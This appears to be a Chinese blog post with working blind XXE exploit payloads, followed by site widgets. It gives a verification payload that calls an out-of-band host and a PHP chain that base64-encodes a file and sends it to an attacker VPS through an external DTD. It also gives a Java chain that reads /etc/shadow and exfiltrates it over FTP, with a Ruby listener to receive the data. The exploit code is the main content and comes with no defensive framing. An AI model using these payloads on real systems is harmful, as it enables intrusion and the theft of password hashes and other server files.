XXE blind 简单poc & 读文件

原理简介:

https://blog.csdn.net/u011721501/article/details/43775691

首先你要确定是xml格式的数据,content-type是xml,PHP和JAVA利用有点不一样

简单验证POC:

<!DOCTYPE b [<!ENTITY xxe SYSTEM  "http://xxxxx.ceye.io/sworderNB22222-----">]>
<name>&xxe;</name>

PHP 利用方式. // python3 http.server 9099 开个服务 就行,读到的文件 直接就显示 出来了(访问日志)

读取文件POC 利用:

自己vps放置

test.dtd

<!ENTITY % all "<!ENTITY send SYSTEM 'http://your_vps/get.php?file=%file;'>">

访问post处贴

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % remote SYSTEM "http://your_vps/test.dtd">
%remote;
%all;
]>
<root>&send;</root>

JAVA利用方式

参考 http://www.voidcn.com/article/p-njawsjxm-ko.html

参考 从 blind XXE 到读取根目录文件 - 先知社区

自己VPS运行:  

ruby ftp.rb(centos安装ruby挺方便,别嫌麻烦,就一行命令
// name ftp.rb
require 'socket'
server = TCPServer.new 8080
loop do
  Thread.start(server.accept) do |client|
    puts "New client connected"
    data = ""
    client.puts("220 xxe-ftp-server")
    loop {
        req = client.gets()
        puts "< "+req
        if req.include? "USER"
            client.puts("331 password please - version check")
        else
           #puts "> 230 more data please!"
            client.puts("230 more data please!")
        end
    }
  end
end

自己VPS放置:

// evil.xml
<!ENTITY % file SYSTEM "file:///etc/shadow">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'ftp://ip:8080/%file;'>">
%int;
%send;

访问post处贴

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip/evil.xml">
%remote;]>
<root/>


 

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值